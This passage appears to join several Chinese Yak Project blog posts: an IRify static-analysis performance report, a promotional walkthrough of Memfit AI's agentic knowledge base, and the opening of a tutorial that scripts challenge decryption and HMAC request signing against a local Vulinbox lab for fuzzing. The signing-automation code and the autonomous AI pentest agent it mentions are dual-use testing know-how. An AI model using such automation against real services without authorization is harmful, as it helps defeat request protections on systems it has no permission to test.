这在简单规则里不一定明显，但一旦遇到：

• 输入值很多
• 条件嵌套很多
• 中间又做了 * 展开、<len>、<slice> 这类操作

就会出现一个很难受的现象：

规则不是不能跑，而是 condition 判断会沿着旧路径对值一个个循环判断，值越多，时间越长，几乎和值数量线性相关，所以一旦进入大量值场景就会非常慢。

所以这里的问题，不是“判断逻辑不正确”，而是：

判断逻辑在大量值场景下，执行路径不够稳定。

方案​

这轮重构做的，是把这条判断路径整条收掉重来。

关键变化主要落在：

• common/syntaxflow/sfvm/frame.go
• common/syntaxflow/sfvm/condition_exec.go
• common/syntaxflow/sfvm/native_call.go
• common/syntaxflow/sfvm/values.go
• common/syntaxflow/docs/sfvm-values-condition.md

核心思路有四个：

1. 用 Values 明确统一运行时值容器。
2. 把条件判断统一收回 anchor-scope。
3. 把 NativeCall 的 grouped 行为也交回 SFVM 自己处理。
4. 把旧的 ValueList 和旧循环路径换掉。

在语义上，这轮重构之后，?{...} 的执行逻辑终于和 SyntaxFlow 文档里说的那一套真正对齐了：

• a?{.b} 不再走“把所有值拉出来逐个循环判断”的旧路径，而是一起执行对每个输入 a 单独判断它自己有没有 .b
• a?{.*<len>==2} 也不是把所有结果混在一起算，而是先标记前序，然后一起执行判断，再把判断结果映射回每个原始输入 a

同样地：

• a?{.*<len>==2}

也不再是把所有值全拍平后算一个总 len，而是：

• 先展开
• 再按原始输入 a 回投
• 最后决定哪个 a 应该保留

这也是为什么这轮方案的核心，不只是“换几个函数”，而是把：

• Values
• Condition
• Anchor
• NativeCall

这一整组关系重新理顺。

现在的情况和重构结果​

现在 SyntaxFlow 判断语句这条线，最重要的变化是：

• 判断语义和文档描述终于更一致了
• 条件判断路径更统一了
• 过去在大量值场景下容易拖很久的旧循环路径，被真正收住了

这件事在当前仓库测试里甚至有一个很直白的信号：

• filter condition without iter loop

这个测试名本身就已经把问题说透了。

它不是在证明“能跑”，而是在证明：

这条条件过滤路径，现在已经不是靠旧的 iter-loop 逻辑在绕了。

运行效率对比​

它的收益是“把长尾和坏路径收掉”。

• 之前：大量值进入条件判断后，容易一直循环判断，时间非常长
• 现在：这类判断路径和普通检索一样所有值一起执行，已经能稳定完成并且不需要任何循环操作。

也就是说，这一轮的收益主要体现在：

• 把不可接受的长尾收掉
• 把规则判断从“复杂时容易拖垮”变成“复杂时也能稳定执行”

这也是为什么这一节更像“运行逻辑重构”，而不是“一个单点提速 PR”。

ANTLR缓存清理机制​

这一节对应的核心合并 PR 主要是：#4139。

之前的情况​

ANTLR 这条线的一个老问题是内存和时间，在之前的优化中我们先后完成了两个处理：

• 最开始我们发现内存不会被清理，然后清理出来不使用全局缓存而项目内缓存，以得到更稳定的缓存控制清理。
• 项目并发使用项目单一缓存将会带来锁的问题，导致并发执行非常慢，我们拆分出工作者协程并发，每个维护自己的缓存。

然后目前运行发现这带来了新的问题：runtime cache 会随着大项目不断膨胀，导致GC运行占用大量的cpu时间。

最关键的两个东西是：

• DFA
• PredictionContextCache

如果完全不管它们，在大目标上会越来越占内存；

但如果清得太勤，缓存来不及复用，解析的时间占用大部分导致整个的编译效率仍然会低。

所以这不是一个“开或关”的问题，而是一个需要实验判断的问题，我们需要在清理问题上找到一个指标并且寻找一个“甜点值”的配置作为默认。

问题​

这条线真正要解决的是：

到底应该在什么时候清缓存，才能既不把内存推得太高，也不把性能打烂？

这件事必须同时看两组指标：

• 时间
• 峰值内存

因为只看其中一个，很容易选出一个看起来很好、但整体很差的策略。

方案​

这轮的方案，不是拍脑袋改默认值，而是把缓存清理参数放出来，然后围绕统一目标持续做实验，比较不同参数下的时间和内存，再从结果里找一个真正合适的“甜品点”。

关键位置在：

• common/yak/ssaapi/ssa_compile_utils.go
• common/yak/java/tests/ast_parse_metrics_local_test.go

最核心的环境变量是：

• YAK_ANTLR_CACHE_RESET_FILES

它的含义很直接：

每个 worker 解析多少个文件以后，reset 一次 runtime cache。

接下来做的事情，就是围绕统一目标持续跑实验，比较不同 reset 周期下的时间和内存，去找那个真正合适的“甜品点”。

现在的情况和重构结果​

这轮之后，ANTLR cache reset 已经不是一个模糊经验，而是一个有实验数据支撑的机制。

而且当前主线代码里，默认值已经落下来了：

• YAK_ANTLR_CACHE_RESET_FILES=100

这个默认值不是拍脑袋写进去的，而是比较了一轮又一轮结果后，选出的更稳妥默认点。

运行效率对比​

先看极端情况。

再看按“文件数”做 reset 的实验。

这张表很能说明问题：

• 145/150 这一带，是速度上的“甜品点”
• 100 这一带，更偏向“速度和内存都稳”

所以这一轮最后落下来的结论不是：

• 某一个值绝对最优

而是：

• 存在一段明确的甜品区间
• 默认值应该选一个更稳、更容易接受的点

因此主线代码最终选择了：

• 默认 100

这个值没有追求单次最快，但它把时间和内存都压在了一个比较稳的区间里。

ANTLR SLL模式和 TokenSource优化​

这一节对应的核心合并 PR 主要是：#4165，Java 相关 fixup 可对应 #4164，而通用 SLL-first 路径则和 #4139 连在一起。

之前的情况​

这一节其实可以分成两条线：

• Java：主要问题是各种真实项目、尤其是反编译代码里的 AST 边界
• PHP：除了语法边界，还有真正的前端性能热点

在更早的时候，各个 front-end 的 parse 行为也没这么统一。

SLL、LL、缓存复用、错误回退这些事情，缺少一个统一抽象。很多语言前端还是各自处理自己的 parse 细节，这意味着：

• 有的地方先走 LL
• 有的地方自己做回退
• 有的地方缓存行为不一致

而这轮之后，一个很重要的基础变化就是：#4139 把 SLL-first 正式收进了统一 helper。

也就是说，现在各 front-end 默认会先尝试更快、分配更低的 SLL 路径，只有在需要时才回退到 LL，这让“先快跑、失败再兜底”变成了统一默认行为。

问题​

Java 这一侧的主要问题，是：

• 真实反编译项目里会出现大量奇怪 AST 边界
• 系统经常还没走到后面的性能阶段，就先在前端 AST 这里挂住

PHP 这一侧的问题更复杂：

• 真实 pfsense 项目里有一批 parser 边界问题
• 更麻烦的是 mixed HTML/PHP 大文件特别慢

真正把 PHP 这个问题拆开以后，会发现：

• 不是 SSA build 慢
• 不是 go test harness 慢
• 也不是简单的 SLL->LL fallback 导致慢

真正的热点是：

• ANTLR 在 mixed HTML/PHP 输入上发生了 decision explosion
• 尤其集中在 inlineHtmlStatement

方案​

这一节的方案分两层。

第一层，是统一 parse 模式：

• common/yak/antlr4util/sll_first_parse.go

这一层把：

• SLL-first
• fallback 到 LL
• 错误监听
• cache detach

这些行为收到了统一 helper 里。

第二层，是 PHP 的专门优化：

• common/yak/php/php2ssa/html_token_source.go
• common/yak/php/php2ssa/builder.go

这里引入了一个非常关键的能力：

• decorateTokenSource func(antlr.TokenSource) antlr.TokenSource

它允许某个 front-end 在 lexer 和 CommonTokenStream 之间，插入一层自己的 TokenSource 装饰器。

最后真正最有效的优化，不是继续大改 grammar，而是给 PHP 加了一层 HTML token coalescing：

• 连续 HTML token 合并成更大的块
• PHP 起始边界和 XML 边界保留

Java 这一侧，这轮则主要是：

• 继续 fixup 真实项目里的 AST 边界
• 把反编译大目标 clean compile 跑通

现在的情况和重构结果​

现在这条线已经形成了比较清楚的分工：

• Java：重点在于 fixup 和真实大目标跑通
• PHP：重点在于 front-end 性能热点真正被打下来

Java 这一侧，现在最重要的结果是：

• 真实反编译大目标里的 AST 错误和 panic 已经清到 0
• 前端不再是第一堵墙

PHP 这一侧，现在最重要的结果是：

• mixed HTML 这个最难看的热点已经被明确定位并压下去

运行效率对比​

这一节最漂亮的一组数据，来自 PHP。

本地当前主线补跑时，这个 benchmark 也还能稳定在：

• 7.82s/op

说明这条优化已经比较稳定地落到了主线上。

Java 这一侧，重点不在某个小 benchmark，而在真实项目能不能跑通。

最终 clean compile 的结果里：

• wall time 44:10.96
• parse 6m14s
• save 27m25s

它说明的核心问题是：

• Java 前端现在已经不再是第一堵墙
• 后面的性能重心会继续往 save / persistence 方向推进

AI Agent对于开发/实验成本的降低​

之前的情况​

过去做这类性能优化，最贵的成本其实往往不是“写代码”，而是：

• 跑实验
• 看实验结果
• 验证思路是不是对
• 反复跑实验
• 换参数再跑
• 换目标再跑
• 换分支再跑

尤其是这种工作：

• 有大量参数组合
• 同一个目标要反复测
• 还要保留日志、做对比、回头看

人工来做，成本会非常高。

问题​

这轮几个关键优化，本质上都不是“改一下马上就知道对不对”的问题。

例如：

• 常量池/SSA 搜索优化，需要反复在同一个大目标上看热点变化
• ANTLR cache reset，需要做多组参数 sweep
• PHP mixed HTML，需要反复跑 benchmark、pprof、对比不同方案

如果这些事情都手工做，实验成本会非常夸张。

方案​

这一轮很值得单独提一句的是：

AI agent 在这里提供了大量原本很贵、很重复的实验能力。

开发者真正做的事情，是：

• 判断方向
• 看到实验结果
• 决定最终方案

而 AI agent 帮忙做的事情，是：

• 持续跑统一目标
• 跑多组参数
• 跑多个 worktree / 多个分支
• 把结果整理回来

最典型的两条线就是：

• SSA 常量池 / 搜索链实验
• ANTLR cache reset 参数 sweep

现在的情况和重构结果​

这件事带来的变化，不是“AI 替开发者写完了优化”，而是：

• 很多原本太贵、太烦、太重复的实验，现在能持续做
• 多 worktree、多参数、多轮复跑的成本被明显压低了

开发者可以把更多精力放在：

• 判断根因
• 决定取舍
• 设计实验
• 决策和审核最终实现

运行效率对比​

这一节没有直接对应的“代码运行时间”对比表。

但它确实改变了这轮优化的产出方式：

• 常量池优化能做多轮基线比对
• ANTLR reset 能做整轮 sweep 和复跑
• PHP mixed HTML 能把 benchmark、pprof、规则验证一起串起来

放在这一轮里，这件事最适合用一句话来概括：

这一轮优化让 AI 辅助真正融入了性能调优的工作流。

总结​

如果把这轮 IRify 性能优化 2.0 压成一句话，那就是：

这一轮不是只做了“更快”，而是把几条最关键的路径真正做成了“更快、更稳、更可继续优化”。

这一轮最值得记住的五件事是：

1、SSA 编译和相关文档更统一了，ssa.to/docs 也跟着补齐了。

2、SSA 指令搜索开始从字符串路径走向常量池 / id 路径，真正把大项目里的重复搜索问题打下来。

3、SyntaxFlow / SFVM 的判断语句运行逻辑被重构了一轮，大量值场景下过去会拖很久的旧判断路径，已经被收住了。

4、ANTLR 这一侧，缓存清理已经不是经验值，而是做过 sweep 的“甜品点”选择；PHP mixed HTML 更是拿到了非常扎实的前后对比数据。

5、AI agent 已经开始明显降低这类开发和实验的成本。

如果说第一轮做的是“把路打通”，第二轮做的就是：

• 把最重的热点打下来
• 把最糟糕的长尾收掉
• 把最关键的默认参数选稳

而接下来的第三轮、第四轮，方向其实也已经很清楚了：

• 编译期内存继续压
• 存储与落库继续压
• lazy build 路径继续推进
• 数据流分析继续细化

也就是说，这一轮不是终点，而是一个很明确的中继站。

从这里开始，IRify 已经不再只是“能跑”，而是开始真正进入“能持续变快”的阶段。

本文首发于 Yak Project 公众号，阅读原文。

我们在上一篇文章：Memfit AI: 连续渗透测试N小时不迷路的生产级AI Agent 中聊了 Memfit AI 如何像一个真人渗透测试工程师一样自主工作——规划任务、执行攻击、动态调整策略。跑了两个多小时，产出了 18 个漏洞发现和一份完整的渗透测试报告。

但是有一个问题，我们当时回避了。

如果 AI Agent 在执行过程中遇到一份它从未"见过"的企业内部安全规范，比如 GB/T 34944-2017《Java 语言源代码漏洞测试规范》，它该怎么办？这份国标文档定义了 Java 安全审计中需要关注的漏洞类型、测试方法和判定标准。大模型的训练数据里未必包含这些细节，即便包含，版本和准确性也无从保证。

这个场景在实际工作中非常常见。安全团队有自己的 checklist、企业有私有的合规要求、甲方的安全基线文档一般都不会公开发表。AI Agent 如果只能依赖大模型自身的"记忆"，那它对这些私有知识的处理能力就是零——甚至更糟，它可能会"幻觉式"地编造一些看起来合理但完全错误的回答。

那么如何解决这个问题？市面上的常见方案是外挂一个 RAG 系统或者通过 MCP 协议接入外部知识库服务。这当然可以工作，但存在一个根本性的割裂：知识库是知识库，Agent 是 Agent，两者通过一个管道传数据，Agent 对知识的使用方式非常被动——问一次，拿一次，拿到什么用什么。

Memfit AI 的知识库系统走了一条不同的路。我们把知识库做成了 Agent 的"内置器官"，整个系统完全本地化运行，Agent 可以在任务执行过程中自主地、多轮地查询和探索知识库。这意味着 Agent 拿到第一轮搜索结果后，会根据结果判断信息是否充分，如果不够，它会调整查询策略再搜一轮——最多迭代 3 到 5 轮，直到凑齐足够的信息来做决策。

笔者认为这是 Memfit 知识库最值得关注的设计。知识库和 Agent 的关系应该是"知行合一"的——知识库负责记住海量的私有数据、来不及训练或者无法训练进模型的专业内容；Agent 则根据这些知识做出判断和行动。两者熔在一个系统里，才能真正发挥价值。

在本文中，我们将会为大家完整地介绍 Memfit 知识库系统：

01 如何创建和使用知识库

02 两种知识构建模式的差异与选择

03 查询验证与 Agentic RAG 的实际效果

04 Agent 在生产任务中如何调用知识库

05 底层的技术实现——从索引构建到多轮搜索的完整链路

进入知识库​

Memfit AI 的知识库功能集成在主界面中。打开 Memfit 后，在顶部导航栏可以看到"知识库"标签页，点击即可进入知识库管理界面。

在这个界面的左侧，我们可以看到已有的知识库列表——包括在线知识库和本地知识库。右侧区域是 AI Agent 的对话窗口，知识库和 Agent 共享同一个工作空间。这个布局本身就暗示了两者的紧密关系。

创建一个知识库​

接下来我们实际操作一下。点击"快捷创建知识库"按钮，或者在知识库列表下方找到"新建知识库"入口。

系统会弹出一个参数填写窗口：

我们需要填入以下几个关键参数：

01 知识库名称：给知识库起一个语义化的名字，方便后续在 Agent 中引用

02 上传文件：支持直接拖拽或选择文件路径，可以导入 PDF、文档、文本等格

03 构建模式：这里有两个选项——"增强知识图谱索引"和"仅构建知识索引"

04 Tags：可选的分类标签，用于组织和筛选

两种构建模式​

构建模式的选择直接影响知识库的存储结构和查询能力。我们用一张表来对比：

"增强知识图谱索引"模式会对文档进行深度分析：先切片，然后通过 ERM（Entity Relationship Model）抽取实体和关系，构建知识图谱；同时还会为每个切片生成问题索引，用于向量化检索。整个过程涉及多轮 AI 调用，因此构建时间会更长，但查询质量也更高。

"仅构建知识索引"模式更轻量。它跳过了实体关系抽取的步骤，直接对切片内容生成查询强化索引，然后向量化入库。如果你的文档本身已经是高质量的结构化知识（比如 API 文档、技术规范），这个模式的性价比更高。

实战：导入 GB/T 34944-2017​

我们用一个具体的例子来走完整个流程。这次选择导入 GB/T 34944-2017《Java 语言源代码漏洞测试规范》这份国标文档。

在弹窗中填入知识库名称为"我的知识库"，上传文件选择本地的 PDF 文件路径，构建模式选择"增强知识图谱索引"——因为国标文档包含大量的漏洞分类、测试方法和判定标准之间的关联关系，适合构建知识图谱。

点击"确定"后，构建过程开始执行。在执行面板中可以实时看到构建进度：

从日志中可以观察到几个关键阶段：

01 文档解析：系统识别 PDF 文件类型，解析文档内容

02 分片处理：将长文档切分为多个 chunk，每个 chunk 保持语义完整性

03 实体图谱构建：start build entity graph concurrency 表明系统开始并行地抽取实体和关系

04 索引入库**：抽取完成后，实体、关系和向量索引写入本地存储

构建完成后，我们可以在知识库界面看到结果。

知识图谱可视化​

这是最直观的部分。切换到知识库的图谱视图，可以看到系统自动抽取出来的实体和关系网络：

选择任意一个节点，可以查看该实体的详细属性和关联关系。这个图谱在后续的查询中会发挥重要作用——当 Agent 搜索到一个实体时，可以通过 K-hop 遍历找到与它关联的其他知识点，这就是多跳知识查询的基础。

查询验证​

知识库构建好了，接下来验证一下查询效果。

简单召回​

在知识库界面的"AI 召回"功能区，我们可以直接测试知识库的召回能力。点击"AI 召回"标签，在搜索框中输入一个问题，比如：

Java 中关于日志的相关安全设置应该如何操作？

系统会将问题转化为搜索查询，在选中的知识库中检索相关内容。搜索框下方的 @ 选择器可以指定搜索范围——是搜索所有知识库，还是只搜索特定的某一个。

Agentic RAG 召回​

这才是真正有意思的部分。

当我们发起一次 Agentic RAG 查询时，系统会将用户的问题转化为一个 Agent 搜索任务。AI 会自主决定搜索策略，然后逐步探索知识库中的内容。

长图已折叠点击展开

我们可以观察到几个关键行为：

01 AI 先理解用户问题的意图，将其拆分或泛化为多个子查询

02 调用 search_knowledge_semantic 和 search_query 等搜索函数

03 对每轮搜索结果进行评估，判断信息是否充分

04 如果需要更多细节，自动调整查询内容进行下一轮搜索

查询结果​

来看一个典型的查询结果。我们问了一个关于"Java 日志安全设置"的问题，系统返回了结构化的回答：

长图已折叠点击展开

这个结果有几个值得注意的地方。AI 对搜索到的多个知识片段进行了去重、合并和结构化整理，形成了"日志安全守则"这样的归纳性标题，下面按"日志访问控制"、"禁止日志记录敏感信息"等维度组织具体内容。每个要点都可以追溯到原始的知识库条目——这些内容来自 GB/T 34944 中关于日志安全的多个章节，AI 把它们关联起来了。

从Agent中直接使用知识库​

到现在为止，我们展示的还是在知识库界面中手动查询的场景。那么更核心的问题来了：Agent 执行任务的时候，如何使用知识库？

在 Memfit AI 的对话界面中，我们可以通过 @ 符号引用知识库。

Agent 在规划和执行任务的过程中，会根据当前任务的需要自主决定是否查询知识库、查询哪个知识库、用什么问题去查。

举个具体的例子。我们让 Agent 回答一个综合性问题，这个问题涉及 Java 安全领域的多个方面。Agent 在执行过程中，自动触发了知识库的 Agentic 搜索。

我们搜索一个综合问题，可以看到 Agentic 的两轮搜索过程。第一轮搜索拿到了部分结果，Agent 评估后认为还缺少某些维度的信息，于是调整了查询内容进行第二轮搜索。

这种自我调整的能力，一般的独立知识库系统做不到——它们只会被动地接收查询、返回结果。Agent 的"主动探索"才是 Agentic RAG 真正的价值所在。

这也是为什么我们说"知行合一"。知识库提供记忆，Agent 提供行动力，两者在同一个运行时内紧密协作。Agent 遇到不确定的问题时，会像一个经验丰富的工程师翻阅参考手册一样，反复查找、交叉验证，直到获得足够的信心来做出判断。

Memfit是如何实现这些的？​

讲完了使用体验，我们来看看底层的技术实现。这部分面向对 RAG 系统和 Agent 架构有兴趣的读者，我们会结合实际代码来分析几个关键模块。

强化索引构建与知识图谱构建​

文档从上传到可查询，需要经过一条完整的处理管线。我们用一张流程图来说明：

长图已折叠点击展开

两种模式的差异体现在中间环节。"增强知识图谱索引"模式走完整链路：ERM 抽取 + 问题索引 + 向量化；"仅构建知识索引"模式跳过 ERM，直接从分片内容生成问题索引。

问题索引构建是一个值得展开说的环节。系统会调用 AI 对每个文档切片生成一组"检索问题"——这些问题模拟的是真实用户可能会搜索的内容，覆盖了操作方法、概念定义、原因分析、最佳实践、故障排查等多个维度。核心逻辑在 BuildIndexQuestions 函数中：

funcBuildIndexQuestions(rawInput []string, aiService aicommon.AICallbackType)
(map[string][]string, error) {
    linedInput := utils.PrefixLinesWithLineNumbers(rawInput)
    query, err := LiteForgeQueryFromChunk(indexBuildPrompt, "",
chunkmaker.NewBufferChunk([]byte(linedInput)), 200)
    // ...
    result, err := aicommon.InvokeLiteForge(query, forgeOpts...)
    // ...
    entries, err := index2KnowledgeEntity(result.Action, rawInput)
    return entries, nil
}

这个函数做了几件事：把原始文本加上行号标记，组装成带有详细指令的 prompt，调用 LiteForge（Memfit 的轻量级 AI 执行引擎）生成问题列表，最后将问题和原文中对应的答案片段映射起来。生成的每个问题都附带了精确的行号范围，指向原文中能回答这个问题的具体段落。

这些问题随后会被向量化，和原始文本的向量一起存入 HNSW（Hierarchical Navigable Small World）向量索引中。查询的时候，用户的问题会同时和"原始内容向量"以及"生成的问题向量"进行匹配——因为生成的问题更接近用户的搜索习惯，召回率会显著提升。

知识图谱的构建则通过 ERM 实体关系抽取完成。系统利用 AI 从文档中识别出实体（如漏洞类型、安全标准、测试方法等）和它们之间的关系（如"属于"、"测试方法"、"防护措施"等），构建成一张有向图。这张图存储在本地数据库中，支持 K-hop 多跳遍历查询。

多策略搜索管线​

一条用户查询进来之后，系统不会只做一次简单的向量搜索。实际上，Memfit 的搜索管线会并行执行多种搜索策略，然后将所有结果融合排序。

五种搜索策略各有侧重，对应代码中的 SearchHandler 接口：

01 基础向量搜索（Basic）：用原始查询直接做向量相似度匹配，这是最基本的语义搜索

02 HyDE 假设回答（Hypothetical Document Embedding）：AI 先针对用户问题生成一段"假设的理想答案"，然后用这段答案作为查询内容去搜索。因为"答案"和"文档内容"的语义空间更接近，往往能搜到直接搜问题搜不到的结果

03 子问题拆分（Split Query）：将复杂问题拆解为多个可独立检索的子问题，分别搜索后合并结果。比如"Java 日志安全的最佳实践和常见漏洞"会被拆成两个子问题分别搜索

04 概念升维（Generalize Query）：把具体问题提升到更高层的概念维度进行搜索。比如"Redis 未授权访问漏洞"会被升维为"NoSQL 数据库安全风险"的相关搜索，捕获更宏观的综述性文档

05 关键词提取（Exact Keyword Search）：从问题中提取核心关键词进行精确的词条匹配，弥补向量搜索在专有名词上的不足

我们以 HyDE 为例看一下具体实现。HypotheticalAnswer 函数的核心逻辑是让 AI 生成一段控制在 100 字以内的"理想答案摘要"：

func(h *LiteForgeSearchHandler) HypotheticalAnswer(ctx context.Context, query string)
(string, error) {
    prompt := `你是⼀个精通信息检索的AI助⼿。
根据⽤户提出的【问题】，精准地提炼出其核⼼概念，
并⽣成⼀段信息密度极⾼的"理想答案摘要"。
严格控制在100字以内。`
    // ...
    result, err := aicommon.InvokeLiteForge(inputPrompt, ...)
    document_paragraph := result.GetString("hypothetical_answer")
    return document_paragraph, nil
}

这段假设回答会被向量化，然后用它的向量去搜索真实的文档——这个技巧来自学术界的 HyDE 方法，在实践中对提升召回率非常有效。

AI 重排与精炼​

五种策略并行执行后，会产生大量的候选结果，其中不可避免地存在重复和噪音。这时候需要两道"精炼"工序：

第一道：RRF 重排（Reciprocal Rank Fusion）

每个搜索策略会对自己的结果集按相关度排序。RRF 算法将不同策略的排名信息融合成一个统一的分数，核心公式是：

$$RRF(d) = \sum_{i=1}^{n} \frac{1}{k + rank_i(d)}$$

其中 $k$ 是一个平滑常数（Memfit 默认设为 60），$rank_i(d)$ 是文档 $d$ 在第 $i$ 个策略中的排名。如果一个文档在多个策略中都排名靠前，它的 RRF 分数就会很高。实现代码很简洁：

funcRRFRank[TRRFScoredData](scoredDataList []T, k int) []T {
    // 按搜索⽅法分组，计算每个⽂档在各⽅法中的排名
    // 然后对每个⽂档求 RRF 累加分
    // 最后按 RRF 分数降序排列
}

RRF 的好处是它不依赖原始分数的绝对值，只看排名——因此可以安全地融合来自不同评分体系的结果。

第二道：AI 摘要精炼

RRF 排序后取 Top-K 个结果，如果启用了 EnableAISummary，系统会将这些结果汇总送给 AI，生成一份精炼的回答。AI 的工作指令很明确：

仅基于知识库条目的内容回答用户问题，不要引入外部知识或主观推断；若无法从条目中得到答案，请直接回复"未在知识库中找到相关信息"。

这确保了最终回答严格基于知识库内容，不会混入大模型的"幻觉"。

Agentic 自我调整与多轮迭代​

到这里，我们已经讲清楚了单次查询的完整流程。那么 Agentic RAG 的"多轮搜索"又是怎么实现的？

长图已折叠点击展开

核心机制可以拆解为三个环节：

01 搜索计划制定。

Agent 收到一个需要知识支撑的问题后，首先分析问题涉及哪些知识维度。比如"Java 安全审计的完整流程"可能涉及漏洞分类、测试方法、工具使用、报告规范等多个方面。Agent 会据此决定第一轮搜索的查询内容。

02 结果评估与调整。

每轮搜索完成后，Agent 会评估已有结果是否足以回答用户的问题。如果发现某个维度的信息缺失——比如搜到了漏洞分类和测试方法，但没有搜到报告规范相关的内容——Agent 会调整下一轮的查询，专门补充这个缺口。

03 多轮结果合并。

所有搜索轮次完成后（或者 Agent 判断信息已经充分），系统将多轮结果进行去重（同一个知识片段可能在不同轮次中被多次命中）、合并（相关度高的片段聚合在一起），最终生成一份结构化的回答。

这个过程和真人查阅资料的行为模式非常相似：先快速浏览一遍，发现某个方面的内容不够，再针对性地深入查找。区别在于 Agent 可以在几秒钟内完成这个迭代，而人类可能需要翻半天文档。

当然，这里有一个工程上的平衡问题。搜索轮次越多，召回的信息越全面，但耗时也越长。我们暂时设定了 3 到 5 轮的上限，在大多数场景下这个范围足够覆盖一个综合性问题的各个维度。后续我们会根据实际使用数据持续调优这个参数。

Agent干活的时候也可以查资料吗？​

前面我们演示了在知识库界面中查询和在对话中 @ 知识库的场景。但这些都还停留在"问答"层面——用户主动提问，系统被动回答。

那么，真正的生产场景呢？

如果我们给 Agent 下达一个具体的任务——比如"对一个 Java SpringBoot2 项目进行代码审计"——Agent 在执行过程中能不能自己去翻阅知识库里的安全规范？

我们来试一下。在 Memfit AI 的对话框中输入任务指令，同时通过 @ 符号挂载上刚才创建的知识库：

注意看这个操作：我们告诉 Agent "进行代码审计"，并且指定使用 @我的知识库 中的内容来辅助审计过程。Agent 接到指令后，会将知识库作为自己的"参考资料"带入整个任务执行链路。

先查知识，再规划任务​

Agent 启动任务后，做的第一件事很有意思——它没有直接开始扫描代码，而是先去知识库里查了一轮资料。

从执行日志中可以看到，Agent 在规划阶段就触发了知识库搜索。它从 GB/T 34944 中检索到了 Java 代码审计需要关注的漏洞类型和测试方法，然后基于这些知识来制定任务计划。

这个顺序值得留意：先查资料，再定方案。这和一个有经验的安全工程师接到审计任务时的行为模式完全一致——拿到项目之后，先翻一遍安全规范，搞清楚要审什么、按什么标准审，然后才开始动手。

更值得关注的是，执行过程中我们看到了上一篇文章中介绍过的动态任务规划能力。Agent 在查阅知识库之后，根据检索到的安全规范条目，主动修改了自己的任务列表——把原本比较笼统的"代码审计"拆分成了更具体的子任务，比如针对 SQL 注入的检测、针对 XSS 的检测、针对日志安全的检测等等。每个子任务的目标和方法都贴合了知识库中的规范要求。

这就是知识库和 Agent 深度融合之后产生的化学反应：知识库的内容直接影响了 Agent 的行为决策，Agent 的任务规划会随着知识的注入而变得更加精准和有针对性。

执行结果​

当然我们毫不意外的可以收获一些漏洞：

当我们等待系统执行完毕，可以看到如下内容：

长图已折叠点击展开

这个流程和前面"在对话中 @ 知识库问问题"的场景有本质区别。对话中的查询是一次性的，Agent 问完就结束了；而在任务执行中，知识库被反复调用，贯穿了规划、执行、判定、报告的全过程。

Agent 真正把知识库当成了自己随身携带的"参考手册"——需要的时候翻一下，不需要的时候放在一边，但始终带在身上。

回顾​

我们在本文中完成了四件事：

第一，从操作层面走通了整个流程。

从进入知识库界面、创建知识库、选择构建模式、导入 PDF 文档，到查看知识图谱、执行查询验证——这些步骤在 Memfit AI 中都可以在几分钟内完成。

第二，展示了 Agentic RAG 的实际效果。

通过对 GB/T 34944 的查询测试，我们看到了 Agent 如何自主地多轮搜索、逐步完善答案。这种能力在处理综合性问题时尤为明显——单轮搜索拿不到的信息，多轮迭代后往往可以覆盖到。

第三，在真实的生产任务中验证了知识库与 Agent 的协作。

代码审计任务的执行过程表明，Agent 会在规划阶段主动查阅知识库，根据检索到的安全规范调整任务计划，并在整个执行链路中持续引用知识库内容来辅助判定。知识库对 Agent 的影响贯穿了从规划到输出的全过程。

第四，深入了底层实现。

从问题索引构建到五策略并行搜索，从 RRF 重排到 AI 摘要精炼，再到 Agentic 多轮迭代——整条链路的设计目标很一致：让知识库成为 Agent 的有机组成部分，让"查知识"变成一个主动的、可迭代的、有策略的过程。

Memfit AI 的知识库系统目前已经在产品中上线。如果你有兴趣体验，可以直接访问 https://memfit.ai/ 下载 Memfit AI。内测推广阶段不收取任何 Token 费用，当然也支持配置你自己的 AI APIKEY 使用。

memfit:: 记得住的知识库，看得见的行动力​

在接下来的文章中，我们会为大家介绍 Memfit AI 的更多高级能力——包括技能系统（Skills）的定制、多 Agent 协作，以及如何将知识库应用到实际的安全审计工作流中。

本文首发于 Yak Project 公众号，阅读原文。

在前端加密、动态签名、一次性 challenge 这类场景里，单纯“会不会发包”其实不是重点。真正麻烦的是，测试链路里往往多出一段必须自动完成的前置或后置逻辑，例如：

01 发起真正业务请求之前，先去拿一段 challenge

02 把 challenge 解开，得到 nonce

03 用 nonce 计算签名，再把签名补到请求头里

04 请求成功之后，返回值本身还是密文，还要再解一遍

如果只是偶尔测试一次，这些动作手工做也不是不行。但一旦要开始反复调试、批量发包、联动 MITM 和 Web Fuzzer，这套流程如果没有一层统一能力接管，就会很快变得难用。

在这篇文章里，我们不去讨论太多架构层面的设计，而是直接拿 Vulinbox 里的一个动态挑战响应接口做演示，看看如何把这条链路真正挂到 Yak 的全局热加载中，让用户在 Web Fuzzer 和 MITM 里都能直接受益。

先从简单加解密靶场开始​

启动靶场​

在开始之前，先启动 Vulinbox。启动之后，可以访问：http://127.0.0.1:18080/ ，如下：

长图已折叠点击展开

本文会用到以下几个入口：

1、靶场说明页：

http://127.0.0.1:18080/crypto/challenge-api-docs

2、获取 challenge：

http://127.0.0.1:18080/api/get-challenge

3、受保护接口：

http://127.0.0.1:18080/api/user/info

场景说明​

这次使用的靶场不是“固定 AES Key 然后简单改包”的例子，而是一个更接近实际业务的动态 challenge 接口。

它的交互顺序如下：

1、请求 /api/get-challenge，服务端返回一段加密后的 challenge。、

2、客户端解密 challenge，得到 nonce。

3、使用 nonce 和约定的 HMAC Key 计算签名。

4、请求 /api/user/info 时，把签名写入 X-Auth-Signature。

5、服务端校验通过后，返回的业务数据依然是 AES-CBC 加密后的内容。

换句话说，这里至少包含两段“测试前后必须先执行的逻辑”：

1、请求前的自动补签名。

2、响应后的自动解密。

这也正是全局热加载最适合切入的地方。

清理流程​

在自动化之前，最好先把这条链路“手工拆开”验证一次。

1、先从 api/get-challenge 获取​

HTTP/1.1 200 OK
Content-Type: application/json
{"challenge":"ifIYn2ChP6pOaedUtwRg8urjclJJazl2N8eSrcEUo1OZz7+AT+9ERWnJVGxtdQUU","iv":"tYJG4EX4pOICNfXbAT2lkg=="}

针对上面这个响应包，我们可以先写一个专门计算签名的函数：

API_AES_KEY = "YakitVulinboxAES"
API_SIGN_KEY = "YakitVulinboxHMACKey-SIGNATURE"
signChallengeResponse = func(packet) {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    challengeBytes = codec.DecodeBase64(params.challenge)~
    ivBytes = codec.DecodeBase64(params.iv)~
    nonce = codec.AESCBCDecrypt(API_AES_KEY, challengeBytes, ivBytes)~
    return codec.EncodeToHex(codec.HmacSha256(API_SIGN_KEY, nonce))
}

